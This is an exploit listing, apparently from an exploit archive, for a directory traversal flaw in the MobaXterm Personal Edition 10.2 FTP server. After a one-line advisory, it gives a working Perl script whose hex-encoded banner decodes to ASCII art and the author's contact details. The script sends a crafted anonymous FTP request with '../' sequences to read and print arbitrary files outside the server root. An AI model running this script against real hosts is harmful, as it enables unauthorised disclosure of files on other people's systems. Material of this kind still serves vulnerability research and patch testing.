MobaXterm Personal Edition 10.2 Directory Traversal

MobaXterm Personal Edition version 10.2 suffers from an FTP remote file disclosure issue via a directory traversal vulnerability.


MD5 | 521c3e11f7219cdbe5c2bc0487d7ad18

#!/usr/bin/perl
# Exploit Title: [ MobaXterm Personal Edition * / 10.2 FTP File Disclosure]
# -> allow users to browse outside root directory
# -> allow anonymous connections
# -> without username and password
# The solution is not to allow users to browse outside root directory and anonymous connections
# Exploit Author: [(sultan albalawi)]
# Software Link: [http://download.mobatek.net/10220170312132617/MobaXterm_Portable_v10.2.zip]
# Version: [*]
# Tested on: [win 7 and 10]
# video :https://www.facebook.com/pentest3/videos/vb.100012552940568/297050184056744/?type=2&theater&notif_t=video_processed&notif_id=1494013373595156

use LWP::Simple;
use LWP::UserAgent;
$ban= ("\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20".
"\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d".
"\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20".
"\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20".
"\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74".
"\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a".
"\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20".
"\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e".
"\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50".
"\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d".
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a".
"\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20".
"\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20".
"\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d".
"\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20".
"\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20".
"\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20".
"\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20".
"\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20".
"\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20".
"\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c".
"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60".
"\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e".
"\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c".
"\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f".
"\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20".
"\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20".
"\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77".
"\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20".
"\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20".
"\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27".
"\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f".
"\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d".
"\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20".
"\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27".
"\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20".
"\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20".
"\n".
"\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n".
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n".
"\x61\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d");

print($ban);
print("\n");
print("\n");
if (@ARGV < 3) {
print("Usage: $0 <url> <port> <../../../../filename> or ../../../../ \n");
print(" perl $0 0.0.0.0 21 ../../../../filename \n");
exit(1);
}
($target, $port,$filename) = @ARGV;
$_s="/" x 5;
my $url= "ftp://". $target. ":" . $port .$_s . $filename;
$content=get $url;
print("$content");
print("\n........\n");


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